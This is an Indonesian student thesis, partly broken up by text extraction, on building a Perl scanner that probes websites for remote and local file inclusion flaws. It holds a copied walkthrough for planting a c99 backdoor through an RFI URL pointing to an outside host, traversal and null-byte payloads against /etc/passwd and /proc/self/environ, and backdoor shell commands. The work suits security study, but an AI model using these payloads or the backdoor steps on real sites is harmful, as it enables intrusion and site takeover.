Di dalam desain web, tidak akan bisa lepas dengan yang namanya HTML (Hypertext Markup Language). HTML adalah bahasa standar yang

(37)

2.5.1 Struktur HTML

Bahasa HTML (tag) dapat ditulis/dibuat melalui berbagai macam word editor, misalnya Notepad, Wordpad, PHP Designer 2005, dll. Tag-tag tersebut

dapat dituliskan dengan huruf besar ataupun huruf kecil. Setelah tag HTML ditulis dengan menggunakan Notepad atau word editor yang lain,

simpanlah file tersebut dengan format file nama_file.htm atau nama_file.html. Sebagai contoh, file HTML tersebut disimpan dengan nama

index.htm atau index.html. Adapun struktur HTML adalah sbb:

<HTML>

(38)

merupakan informasi atau header suatu dokumen HTML. Atribut yang dimiliki oleh tag ini antara lain:

c. HTTP_EQUIV, atribut ini berfungsi untuk menampilkan dokumen HTML secara otomatis dalam jangka waktu tertentu.

d. CONTENT, atribut ini berisi informasi tentang isi document HTML yang akan dipanggil.

e. NAME, atribut ini merupakan identifikasi dari meta itu sendiri. Tag <META> dalam suatu document HTML boleh ada maupun tidak.

Sedangkan tag <TITLE> … </TITLE> adalah tag judul. Sebaiknya setiap halaman web memiliki judul, dan judul tersebut dituliskan di dalam <TITLE> … </TITLE>. Judul ini akan muncul dalam titlebar dari

browser.

f. Sedangkan tag <BODY> … </BODY> adalah tag berisi content dari suatu halaman web.

Setelah tag tersebut di atas ditulis, simpan dalam format .htm atau .html (misal index.htm) akan tetapi terlebih dahulu ubah Save as type ke dalam All Files. Kemudian tentukan letak direktori mana file

tersebut akan disimpan, selanjutnya klik Save. Selanjutnya document HTML tersebut dipanggil dengan browser untuk melihat hasilnya. Dari tampilan pada browser di atas, dapat terlihat bahwa apa yang ditulis pada “ <TITLE> … </TITLE> akan muncul pada titlebar browser dan apa yang ditulis pada

<BODY> … </BODY> akan muncul pada halaman web.Untuk selanjutnya, kita

(39)

karena bentuk tampilan/desain web tergantung pada tag yang ditulis di dalam <BODY> … </BODY> ”.

(http://lib.uin-malang.ac.id/?mod=th_detail&id=06550023 diakses pada tanggal 1

Mei 2012)

2.6 Perl

Perl atau Practical Extraction and Report Language dirancang oleh Larry

Wall diliris pertama kali pada tanggal 18 Desember 1987 ditandai dengan keluarnya Perl 1. Pada versi-versi selanjutnya, Perl tersedia pula untuk berbagai sistem operasi varian Unix (SunOS, Linux, BSD, HP-UX), juga tersedia untuk sistem operasi seperti DOS, Windows, PowerPC, BeOS, VMS, EBCDIC, dan PocketPC. Dukungan terhadap pemrograman berbasis obyek (object oriented

programming/OOP) ditambahkan pada Perl 5, yang pertama kali dirilis pada

tanggal 31 Juli 1993. Proyek pengembangan Perl 6 dimulai pada tahun 2000, dan masih berlangsung hingga kini tanpa tanggal yang jelas kapan mau dirilis. Ketika ia ingin membuat bug-reporting system namun bahasa pemograman yang tersedia, seperti awk, tidak dapat memenuhi keinginannya. Larry bisa saja waktu itu menggunakan bahasa pemrograman seperti C atau C++, tetapi karena dia menginginkan agar system-nya itu bisa dijalankan melalui shell ala awk, akhirnya dia memutuskan untuk merancang bahasa baru yaitu Perl. Secara umum, Perl bisa dikategorikan berada diantara bahasa pemograman tingkat tinggi (high level programming language) seperti pemograman shell dan bahasa pemograman

(40)

dan sangat tergantung pada command yang disediakan oleh operating system. Sebaliknya, program yang ditulis dengan bahasa pemrograman tingkat rendah cendrung lebih cepat, namun lebih sulit dalam menuliskannya, walau hampir semua hal dapat ditulis dengan bahasa pemrograman level ini. Perl dirancang untuk menjembatani ketimpangan diantara kedua level bahasa pemrograman di atas. Sejak pertama sekali diperkenalkan sampai dengan saat ini, Perl berkembang dengan sangat cepat. Perl versi 5 yang cukup populer dan stabil, tidak lama lagi akan digantikan dengan Perl versi 6. Versi teranyar ini tentu saja memiliki fitur-fitur yang lebih baik dari versi sebelumnya. Informasi yang lebih lengkap tentang Perl versi terbaru ini dapat anda peroleh di (http://dev.perl.org/perl6) dan

(http://www.pugscode.org).

Dua di antara karakteristik utama Perl adalah penanganan teks dan berbagai jalan pintas untuk menyelesaiakn persoalan-persoalan umum. Tidak heran jika Perl sangat populer digunakan dalam program-program CGI (Common Gateway Interface) dan berbagai protocol Internet lainnya. Seperti diketahui,

TCP/IP sebagai basis bagi semua protokol Internet yang dikenal sekarang ini menggunakan format teks dalam komunikasi data.

Buku "Programming Perl" yang diterbitkan oleh O'Reilly Media memiliki sampul depan yang bergambar unta. Setelah itu buku ini dikenal sebagai Buku Unta.

(http://id.wikipedia.org/wiki/Perl diakses pada tanggal 2 Mei 2012)

(41)

kurang 90% dari kemampuan Perl memang dioptimalisasikan untuk menyelesaikan persoalan persoalan yang berhubungan dengan teks, sementara sisanya, 10%, untuk menyelesaikan persoalan-persoalan diluar teks.

Perl dijalankan menggunakan interpreter. Interpreter Perl disebut perl

(menggunakan huruf kecil semua). Perl tidak memiliki compiler yang dapat mengubah source code menjadi bahasa mesin (binary code). Program yang ditulis dengan Perl dapat dilihat dengan mudah oleh orang lain yang menjalankan program tersebut. Selain itu, tidaklah efisien menulis program yang sangat panjang (mungkin lebih dari 10,000 baris) menggunakan Perl bila program yang ditulis tersebut dijalankan berulang-ulang sebanyak ratusan atau bahkan ribuan kali per menit. Hal ini disebabkan karena setiap program tersebut dijalankan, interpreter perl harus menerjemahkannya ke dalam bytecode yang dipahami oleh

compiler internal perl.

2.7 Teknik Serangan Website

Serangan pada aplikasi-aplikasi website yang dibuat dengan bahasa pemrograman yang bersifat client side (javascript, vbscript, html) atau server side (php, jsp, asp, cgi, dan perl) diserang dengan memanipulasi data yang tidak disaring oleh server. Serangan RFI dan LFI merupakan tipe serangan injection script, yaitu serangan dengan menginjeksikan script tertentu pada data masukan user yang akan diproses oleh server.

(42)

atau adanya pemanggilan alamat lain yang tampak pada tabulasi alamat (address bar). Metode ini cukup dilihat pada URL dan biasanya tercatat di server HTTP.

Tabel 2.4: Serangan RFI dan LFI berdasarkan jenis pengiriman HTTP Request

J enis Ser angan

Metode Pengiriman HTTP Request

GET POST

RFI Ya Tidak

LFI Ya Tidak

Berdasarkan Tabel 2.4, serangan RFI dan LFI pada pengiriman HTTP Request dengan metode GET bisa dilakukan dengan menyisipkan injeksi pada

URL. Jadi serangan RFI dan LFI sama-sama melakukan pegiriman HTTP request GET.

2.8 Remote Code Execution (RCE)

Remote Code Execution (RCE) merupakan sutu teknik dalam hacking

yang memungkinkan seorang mengeksekusi sembarang code di sebuah mesin target yang vulnerable. Mesin vulnerable dikarenakan adanya flaw di aplikasi, service, atau sistem operasi yang digunakan. RCE juga termasuk teknik exploitasi

website dimana membuat attacker mempunyai kemampuan untuk mengeksekusi

(43)

File Inclusion adalah cara menyisipkan potongan malicious code attacker ke dalam sebuah situs yang vulnerable, fungsi dalam php yang memperbolehkan penyisipan file php adalah include, include_once, require, require_once. Penyisipan sebuah malicious code bisa dilakukan secara remote atau mesin berbeda dengan server, bisa menggunakan protokol http:// https:// ftp:// smb:// atau biasa disebut “Remote File Inclusion”, jika sebuah penyisipan malicious code gagal mungkin setting_allow_url_include berada dalam kondisis “off” pada

php.ini. Attacker yang sadar bahwa hasil penyusupan malicious code gagal

selanjutnya mencoba teknik “Local File Inclusion” dimana penyisipan halaman berada dalam server yang sama.

Teknik file Inclusion akan berlaku jika syarat setting dalam file php.ini sebagai berikut:

allow_url_include = on allow_url_fopen = on

magic_quotes_gpc = off

2.9 Remote File Inclusion (RFI)

Remote File Inclusion dapat diartikan sebagai penyisipan file dari luar

suatu file dalam sebuah web server dengan tujuan script dari luar yang akan dieksekusi pada saat file yang disisipi di-load. Sebuah serangan RFI terjadi didasarkan pada kesalahan atau ketidaksengajaan pendeklarasian variabel-variabel dalam sebuah file. Sebuah variabel yang tidak dideklarasikan atau didefinisikan secara benar dapat dieksploitasi, berikut adalah contoh sederhana dari kesalahan coding yang memungkinkan terjadinya RFI vulnerable :

<?php

(44)

Kesalahan kode sama dengan kelemahan RFI, akan tetapi kelemahan ini tergantung pada konfigurasi allow_url_include dan allow_url_fopen pada php.ini. Jika website vulnerable terhadap LFI, belum tentu vulnerable tehadap RFI.

Disini akan dijelasakan tentang cara inject shell pada target yang vulnerability terhadap RFI. Sebelum masuk kedalam pokok bahasan RFI ada

baiknya mengetahui Web-hell terlebih dahulu, disebabkan shell ini akan di pakai dalam RFI. Dibawah ini adalah macam-macam web-shell:

1. c99

memanfaatkan celah (jalan pintas) atau sering disebut sebagai backdoor. Untuk melakukan RFI disini akan dijelaskan sebagai berikut :

1. Bukalah browser ketikan pada url www.milw0rm.com kemudian klik pada textbox search kemudian tuliskanlah RFI.

2. Setelah melakukan searching maka akan tampil banyak bug RFI pilih salah satu bug RFI yang berada pada list yang ditampilkan.

3. Setelah mendapakan bug RFI, kemudian lakukan searching melalui situs

www.google.com. Disini contoh bug-nya yang diambil adalah :

(45)

4. Apabila telah mendapatkan site yang diinginkan, selanjutnya letakkan file backdoor tersebut kedalam website target. Contohnya sebagai berikut :

www.coba-coba.com/administrator/component/

com_profiler/plugin.class.php?mosConfig_absolute_path= www.punyague.net/backdoor/c99.txt??

5. Selanjutnya apabila browser tidak menampilkan sesuatu, hanya menampilkan site biasa, maka site tersebut sudah tidak vulnerability lagi dan apabila di-browser manampilkan teradapatnya backdoor, maka site tersebut vulnerability dan dapat diambil alih.

Perintah-perintah yang dapat digunakan saat melakukan aktivitas backdooring adalah sebagai berikut :

cd nama directory = Melihat suatu directory

ls -al = Melihat suatu directory lebih dalam lagi

fined = Mengecek directories

cat = Membaca suatu berkas

wget = Meng-upload suatu Files

tar -zxvf = Meng-extract suatu files yang berbentuk tgz pwd = Mengetahui di directory mana kita berada uname -a = Keberadaan path berada

w = Mengetahui siapa saja yang telah menggunakan shell. curl = Melakukan download url

(http://sapoelidie.webatu.com/Cara_mendeface_dengan_RFI.php diakses

(46)

2.10Local File Inclusion (LFI)

Local File Inclusion adalah sebuah kelemahan aplikasi web yang

menyebabkan seorang penyerang dapat mengeksploitasi engine yang digunakan atau web server dengan mengakses direktori dan mengeksekusi command diluar root web server. Local File InclusionVulnerability erat kaitannya dengan

Direktory Travesal. LFI dilakukan secara local dari web server tersebut. Dibawah

ini contoh script php yang vunerable terhadap LFI :

Pada baris ke 2, $page dikonfigurasi menuju pada $_GET[‘page’], artinya ketika kita menuju http://website.com/index.php?page=blog, $page akan mengeksekusi file blog.php. Akan tetapi ketika “blog.php” diganti dengan sumber file lain di server yang berbeda, maka file itu akan tetap di-include. Misalnya, attacker akan mengeksekusi file berbahaya berdasarkan kelemahan tersebut

seperti penggunaan shell dan file lainnya.

Teknik ini yang mengharuskan web server yang bersangkutan mampu menjalankan server side scripting (PHP, ASP, etc) serta file yang disisipi dibuat dengan menggunakan bahasa script tersebut. Target Local File Inclusion biasanya berbentuk sebuah portal atau Content Management System (CMS) sehingga banyak sekali jumlah website yang rawan terhadap sistem ini. Penjelasan tentang LFI adalah sebagai berikut :

Fungsi-fungsi yang dapat menyebabkan LFI/RFI:

(47)

require(); require_once();

Dengan syarat pada konfigurasi php di server: allow_url_include = on

allow_url_fopen = on

magic_quotes_gpc = off

Misal disini terdapat file index.php dengan content kodenya seperti ini, Code:

<?php

include “../$_GET[imagefile]“; ?>

misal $imagefile=image.php

kemungkinan di url akan terlihat seperti dibawah ini :

http://www.[target].com/index.php?imagefile=image.php maka script ini akan

menampilkan halaman image.php.

Disini attacker akan dapat melakukan LFI karena variable imagefile di include begitu saja tanpa menggunakan filter.

Misalnya attacker ingin mengakses file passwd yang ada pada server, maka dia akan mencoba memasukan seperti ini ../../../../../../../../../etc/passwd << dengan jumlah “../” itu tergantung dari kedalaman folder tempat file index.php tersebut.. dengan begitu isi file passwd akan ditampilkan di browser. kita bisa menggunakan metode menebak struktur folder dalam website target.

Tetapi seandainya terdapat error seperti di bawah ini:

Warning: main(../../../../../../../../../etc/passwd.php) [function.main]: failed to open

(48)

Ternyata pada passwd ditambah dengan extensi “.php” berarti code yang digunakan untuk include adalah seperti ini:

Code:

<?php

include($_GET[imagefile].”.php”); ?>

Untuk dapat mengelabui script tersebut bisa menggunakan %00 (dengan syarat magic_quotes_gpc = off) jadi dibelakang /etc/passwd kita tambahkan %00 seperti

http://www.[target].com/index.php?imagefile=../../../../../../../../../etc/passwd%00 lalu untuk apa %00? yaitu untuk menghilangkan karakter apapun setelah passwd. * %00 ini disebut null injection.

Jika sudah menemukan bug LFI pada website target, sekarang selanjutnya mencari bug RFI dengan menambahkan link file remote (dari luar website) pada variable imagefile. misalnya:

http://www.[target].com/index.php?imagefile=http://www.[remote].com/evil.txt

dengan file evil.txt misal berisi “hacked by H4CK3R”. Jika ternyata di browser menampilkan kalimat tersebut berarti website tersebut vulnerabitily terhadap bug RFI juga.

(http://lib.uin-malang.ac.id/?mod=th_detail&id=06550023 diakses pada tanggal 1

Mei 2012)

2.11 Pencurian Data

Pencurian data dengan menggunakan informasi yang diperoleh seperti cookie ditujukan pada penyalahgunaan informasi pengguna. Cookie yang

(49)

informasi ini berhasil didapakan maka penyalahgunaan dapat terjadi. Cookie, tipe berbeda, digunakan sebagai alat identifikasi selama session berlangsung (session berlangsung ketika pengguna log-in sampai pengguna log-out). Jika penyerang berhasil mendapatkan cookie seorang pengguna selama session berlangsung, penyerang bisa mendapatkan akses sebagai pengguna hanya dengan mengubah cookie yang ia gunakan dengan cookie yang ia dapatkan dari korban. Hal lain

(50)

3.1Analisis dan Konsep Perancangan Progr am

Analisis adalah penguraian dari suatu masalah atau objek yang akhirnya menghasilkan suatu kesimpulan, hal ini dimaksudkan untuk mengidentifikasi dan mengevaluasi masalah-masalah atau objek.

Analisis terhadap pembuatan program aplikasi ini dimaksudkan untuk mengetahui proses pembuatan program aplikasi deteksi kelemahan website. Maka dari itu diberikan teknik dasar perancangan program aplikasi deteksi kelemahan website secara umum, yaitu :

a) Mengetahui kelemahan website dengan menggunakan metode injeksi remote file inclusion dan local file inclusion.

b) Menentukan bahasa perograman aplikasi yang digunakan.

3.2Analisi Kebutuhan

(51)

3.2.1 Identifikasi Kebutuhan Pendukung

Kebutuhan disini meliputi alat-alat yang dapat mendukung dalam merancang dan pembuatan aplikasi deteksi kelemahan website tersebut.

Software dan Hardware yang dibutuhkan antara lain :

a) Program Perl.

b) Processor minimum 1,8 Ghz (sebaiknya lebih) c) Ram Minimum 2GB atau lebih

d) Hardisk 250 GB

e) Monitor SVGA resolusi 800 x 600, 256 warna (minimal)

3.3Desain sistem

Prosedur perancangan sistem secara umum untuk pembangunan aplikasi web vulnearbility scanner untuk serangan remote file inclusion dan local file

inclusion ini terdiri atas beberapa tahap, antara lain meliputi perancangan :

a. Data

Perancangan data yang dimaksudkan adalah perancangan data-data yang berkaitan dengan pembuatan perangkat lunak, meliputi :

I. Data input

Termasuk di dalamnya data-data penunjang sebagai inputan pembuatan sistem.

II. Data output

(52)

b. Pr oses

Perancangan proses yang dimaksudkan adalah bagaimana sistem akan bekerja, proses-proses yang digunakan, mulai dari masuknya data input yang kemudian diproses oleh sistem hingga menjadi data output. c. Antar muka

Perancangan antarmuka mengandung penjelasan tentang desain dan implementasi sistem yang digunakan dalam sistem yang kita dibuat. Secara keseluruhan perancangan sistem atau desain sistem yang akan dibangun :

Gambar 3.1 Perancangan Sistem secara global Keterangan:

a. Aplikasi yang dibangun melakukan request ke server berupa inputan: 1. Pilih menu RFI

http://www.site.com.br/index.php?pg= 2. Pilih menu LFI

http://www.site.com.br/index.php?pg=

b. Server memberikan respon berupa url atau link website yang terdaftar pada server.

Server

(53)

c. Aplikasi merespon url atau link website tersebut untuk dicari apakah terdapat kelemahan RFI dan LFI.

d. Aplikasi mengirim request ke server berupa struktur hasil pencarian yang telah di injeksi.

e. Server mengirim respon hasil injeksi ke aplikasi f. Aplikasi memberikan report hasil keseluruhan

3.4Perancangan sistem

Perancangan sistem ini terdiri atas 1 basis yang akan diuraikan pada sub bab di bawah ini :

Web vulnerability scanner

Pada web vulnerability scanner ini berjalan dengan menggunakan Perl. Begitu juga dengan web yang akan di scan adalah web yang berada di internet.

3.5 Perancangan Data Input

Dalam perancangan data input, akan dijelaskan mengenai data-data yang terdapat dalam sistem sesuai dengan fungsinya sebagai data input sistem.

3.5.1 Data Input Web Vulnerability Scanner

(54)

a. RFI

Pada aplikasi ini dibutuhkan input RFI yang digunakan untuk pencarian suatu url atau link website tertentu sesuai kata kunci pencarian. Hasil pencarian tersebut itulah yang akan di injeki. Contoh suatu RFI :

b. LFI

Pada aplikasi ini dibutuhkan input LFI yang digunakan untuk pencarian suatu url atau link website tertentu sesuai kata kunci pencarian. Hasil pencarian tersebut itulah yang akan di injeki. Contoh suatu LFI :

3.6 Perancangan Pr oses

Perancangan proses pada bagian ini akan menjelaskan tentang bagaimana sebuah input dari user yaitu alamat website target yang akan diproses menjadi sebuah output yang nantikan akan ditampilkan sesuai dengan yang diharapkan.

3.6.1 Proses Scanning

Pada perancangan sistem aplikasi ini, disediakan input untuk mengisikan nama alamat website untuk di-scanning yang berfungsi untuk mendeteksi terhadap kelemahan pada suatu website, apakah website target tersebut lemah terhadap remote file inclusion dan local file inclusion. Di sini terdapat diagram

(55)

alur yang menjelaskan proses scanning. Berikut Gambar 3.2 diagram alur menu utama dari proses scanning remote file inclusion dan local file inclusion :

(56)
(57)
(58)

Keterangan :

a. Pada aplikasi wvs mainmenu terdapat pilihan menu yaitu menu 1 berupa rfi scanner dan menu 2 yang kedua berupa lfi scanner.

b. Jika menu 1 yang dipilih pada pada Gambar 3.2 maka akan memanggil proses rfi scanner.

c. Memanggil sub rfi_scanner disini untuk memanggil fungsi proses rfi scanner

- Pengguna memasukkan url seperti contoh yang diberikan. - Kemudian url tersebut ditampung dan dicek dengan melakukan

penyisipan path terhadap injeksi rfi.

- Kemudian proses penginjeksian rfi dilakukan dengan memasukkan script shell.

- Kemudian baris url dimasukkan dan diisikan pada request HTTP GET dan UserAgent dimana untuk mencocokkan url tersebut apakah dapat terinjeksi oleh script shell rfi sampai baris ke 430 yang terdapat pada rfi path.

- Jika request sama maka web tersebut vulnerable sebaliknya jika tidak dapat terinjeksi maka web tersebut not vulnerable.

d. Jika menu 2 yang dipilih dipilih pada pada Gambar 3.3 maka akan memanggil proses rfi scanner.

e. Memanggil sub rfi_scanner disini untuk memanggil fungsi proses rfi scanner

(59)

- Kemudian url tersebut ditampung dan dicek untuk penyisipan injeksi password dan logfile.

- Kemudian tiap-tiap baris dimasukkan lfi path pada request HTTP GET dan UserAgent dimana untuk mencocokkan url tersebut apakah dapat terinjeksi oleh lfi path.

- Jika request sama maka web tersebut vulnerable sebaliknya jika tidak dapat terinjeksi maka web tersebut not vulnerable.

- Kemudian setalah itu dicek lagi dengan enviroment path dimana untuk mengecek hanya pada url yang sudah dicek dengan lfi path jadi hanya pada likungan url yang sudah dicek dengan lfi path.

- Jika request sama maka web tersebut vulnerable sebaliknya jika tidak dapat terinjeksi maka web tersebut not vulnerable.

f. Aplikasi wvs selesai dijalankan

Untuk memudahkan pemahaman, maka diberikan contoh salah satu pilihan menu RFI seperti berikut :

“Ketika memasukkan salah satu contoh url, misalnya saja mengetikkan

http://www.target.org/article.php?id=129

(60)

Gambar 3.5 Website target belum terinjeksi.

Disini peranan single quota untuk melakukan penge-check-an apakah terdapat kelemahan kemudian terdapat kata You have an error in your SQL syntax; check the manual that corresponds to your MySQL server

(61)

Gambar 3.6 Website target sudah terinjeksi.

3.7 Perancangan Antar muka

(62)

Gambar 3.7 Tampilan awal website vulnerability scanner

Dari Gambar 3.7 dapat diketahui :

a. Aplikasi yang dibangun meenggunakan pemrograman Perl, tampilan pertama kali berupa inputan pilihan menu

b. Terdapat tulisan “Please Enter Menu” yaitu untuk memasukkan pilihan yang tertera pada menu.

c. Aplikasi melakukan ekesekusi sesuai inputan pilihan kemudian merespon url atau link website tersebut untuk dicari apakah terdapat kelemahan yang sesuai pada pilihan menu yang di-input-kan dengan menginjeksikan sesuai pilihan menu pada akhir url atau link website target.

d. Aplikasi mengirim request berupa url terhadap hasil pencarian yang telah di injeksi

(63)

4.1 IMPLEMENTASI SISTEM

Dari desain sistem yang telah dibuat sebelumnya, maka dapat di implementasikan seperti beberapa contoh tampilan berikut :

1. Tampilan utama

Ini merupakan tampilan awal pada saat aplikasi di panggil

Gambar 4.1 Tampilan Menu Utama

2. WVS Menu RFI Scanner

(64)

Gambar 4.2 Menu RFI Scanner

Berikut adalah script dari RFI Scanner :

sub rfi_scanner{ system("cls"); print q{

################################# # RFI SCANNER # #################################

};

#Insert Link

print "Link Example : http://www.target.com\n"; print "Please Insert Link: ";

$link=<STDIN>; chomp($link);

#Host with http

(65)
(66)
(67)
(68)
(69)
(70)
(71)
(72)
(73)
(74)
(75)
(76)

$rfi413="e107/e107_handlers/secure_img_render.php?p=";

if ($response->is_success && $response->content =~ /r57shell/) { print MYFILE "Is Vulnerable : ".$url."\n";

} else{

(77)

} }

close(MYFILE); if($i==5) {close(MYFILE);}

}

print "\n"; close(MYFILE); }

3. Halaman WVS Menu LFI Scanner

Halaman ini berfungsi untuk melakukan lfi scanning kelemahan web dengan cara memasukkan url website target di text filed yang telah disediakan

Gambar 4.3 Menu LFI Scanner

Berikut adalah script dari LFI Scanner :

(78)

################################# # LFI SCANNER # #################################

};

#Insert Link

print "Link Example : http://www.target.com/index.php?page=\n";

(79)
(80)
(81)
(82)
(83)
(84)

'../../../../../../../../proc/self/environ%00',

#Start Scanning Password, Logfile open(MYFILE,'>>report-lfi.txt');

print "Password and Logfile Scanning. Please Wait...\n"; print MYFILE "Password and Logfile Scanning :";

foreach $scan(@lfi){ $url = $link.$scan;

$request = HTTP::Request->new(GET=>$url); $useragent = LWP::UserAgent->new();

$response = $useragent->request($request);

if ($response->is_success && $response->content =~ /root:x:/) {

$msg = "Site Is Vulnerable";

print MYFILE "Is Vulnerable : ".$url."\n"; }

else {

$msg = "Not Found";

print MYFILE "Not Vulnerable : ".$url."\n"; }

}

print "Password and Logfile Scanning Result : ".$msg."\n\n";

(85)

foreach $scan(@env){ $url = $link.$scan;

$request = HTTP::Request->new(GET=>$url); $useragent = LWP::UserAgent->new();

$response = $useragent->request($request);

if ($response->is_success && $response->content =~ /HTTP_ACCEPT/ && $response->content =~ /HTTP_HOST/){

$msg = "Site Is Vulnerable";

print MYFILE "Is Vulnerable : ".$url."\n"; }

else {

$msg = "Not Found";

print MYFILE "Not Vulnerable : ".$url."\n"; }

}

print "Environment Scanning Result : ".$msg."\n\n"; close(MYFILE);

}

4. Laporan Hasil RFI Scanner

Laporan ini berfungsi untuk melihat hasil scanning web yang telah dilakukan oleh aplikasi format dalam belum .txt

(86)

5. Laporan Hasil LFI Scanner

Laporan ini berfungsi untuk melihat hasil scanning web yang telah dilakukan oleh aplikasi format dalam belum .txt

(87)

Pengujian dan analisis adalah tahap yang penting dalam pengerjaan proyek akhir ini. Dari hasil-hasil yang diperoleh, akan dapat dijadikan sebagai parameter yang penting dalam pengembangan selanjutnya jika masih diperlukan suatu penyempurnaan. Pada bab ini akan dibahas mengenai cara kerja sistem dan proses-proses yang terjadi pada pelaksanaan uji coba serta analisis terhadap aplikasi yang telah dibangun.

5.1LINGKUNGAN PENGUJ IAN

Pengujian dilakukan dengan sistem hardware sebagai berikut:

1. Komputer dengan spesifikasi AMD Dual Core 2,2 GHz, RAM 2GB, 2. Harddisk 250GB, VGA ATI Radeon

3. Sistem Operasi Ubuntu 10.04

4. CPU yang telah terinstall Perl yang berguna untuk menjalankan aplikasi ini yang dibuat menggunakan bahasa pemrograman Perl.

5. Komputer/laptop yang terkoneksi Internet

5.2 Uji Coba

(88)

5.2.1 Aplikasi Web Vulnerability Scanner

Gambar 5.1 Halaman Utama

Pada Gambar 5.1 diatas terdapat Menu Utama, pada Menu tersebut terdapat 3 buah Menu pilihan sebagai berikut :

Menu RFI_Scanner didalam panel WVS digunakan untuk melakukan

proses scanning pada suatu web terhadap kelemahan RFI.

Menu LFI_Scanner didalam panel WVS digunakan untuk melakukan

proses scanning pada suatu web terhadap kelemahan LFI.

Menu Exit : menu ini berfungsi untuk ingin keluar dari penggunaan

aplikasi

5.2.2 Pr oses RFI_Scanner

(89)

Gambar 5.2 Tampilan RFI_Scanner

Tahap berikutnya ini adalah dimana aplikasi melakukan proses pencarian kesalahan dengan cara menekan tombol enter.

Gambar 5.3 Proses RFI_Scanner

Pada Gambar 5.3 diatas merupakan proses dimana aplikasi mencari kelemahan RFI yang ada di dalam url website target. Setelah proses Rfi_Scanner selesai akan

(90)

Gambar 5. 4 Report Rfi_Scanner telah menemukan vulnerable

Dan hasil akhir proses scanning yang telah dilakukan oleh aplikasi ini adalah :

(91)

Gambar 5.6 Tampilan website target yang sudah terinjeksi

5.2.3 Pr oses LFI_Scanner

Proses ini dilakukan dengan memasukkan target LFI kedalam inputan, syarat aplikasi harus terhubung dengan target yang akan discan untuk melakukan pencarian kesalahan terhadap website target:

Tahap berikutnya ini adalah dimana aplikasi melakukan proses pencarian kesalahan dengan cara menekan tombol enter.

(92)

Pada Gambar 5.7 diatas merupakan proses dimana aplikasi mencari kelemahan LFI yang ada di dalam url website target. Setelah proses Lfi_Scanner selesai akan

muncul Report seperti berikut :

Gambar 5.8 Report LFI_Scanner telah menemukan vulnerable Contoh Uji coba pada 10 website:

- Uji coba pada website1, ini adalah tampilan sebelum dilakukan proses pencarian kelemahan RFI dan LFI.

(93)

Scanning dan report pada RFI

Gambar 5.10 Tampilan rfi scanning web target1

(94)

Scanning dan report pada LFI

Gambar 5.12 Tampilan lfi scanning web target1

Gambar 5.13 Tampilan report lfi web target1

(95)

Gambar 5.14 Tampilan web target1 yang terinjeksi rfi

Gambar 5.15 Tampilan web target1 yang terinjeksi lfi

(96)

Gambar 5.16 Tampilan awal web target2

Kemudian lakukan proses scanning pada website target2 Scanning dan report pada RFI

(97)

Gambar 5.18 Tampilan report rfi web target2

Scanning dan report pada LFI

Gambar

Tabel 2.3: Persentase penggunaan web server (1996-2010)
Gambar 4.4 Tampilan Laporan Hasil RFI Scanner
Gambar 5.13 Tampilan report lfi web target1
Gambar 5.15 Tampilan web target1 yang terinjeksi lfi
+7

Referensi

Dokumen terkait

Penelitian ini bertujuan untuk memperoleh gambaran mengenai implementasi budaya assurance dalam peningkatan kepuasan pasien Rumah Sakit Santo Borromeus di Bandung

Menj al ankan pet er nakan mur ni sapi Bal i di Pul au Bal i , NTB, Pul au Ti mor dan beber apa daer ah di Sul awesi Sel at an sebagai sumber bi bi t sapi Bal i Secar a nasi onal

Untuk memastikan kualitas, konsistensi, dan obyektivitas hasil pemeringkatan, lembaga pemeringkat melakukan kaji ulang (review) secara berkala terhadap praktek,

- Manusia berusaha memisahkan dirinya dari peristiwa yang sedang terjadi dengan memandang kejadian alam di luar dirinya, terlepas dari kekuatan alam tersebut sehingga manusia

Karena media adalah sangat mahal sementara perusahaan ingin agar pesan yang disampaikan berdampak maksimal dengan biaya yang minimal maka penting bagi perusahaan melakukan

Kalimat yang tepat untuk melengkapi paragraf rumpang di atas adalah ..... Itu menyebabkan orang tua marah karena anak mereka

Berdasarkan latar belakang tersebut, tujuan penelitian ini adalah untuk mengetahui apakah terdapat pengaruh proses pengajaran menggunakan pengaturan block and

berkat-Nya, sehingga penulis dapat menyelesaikan Karya Tulis Ilmiah dengan6. judul “Asuhan Keperawatan pada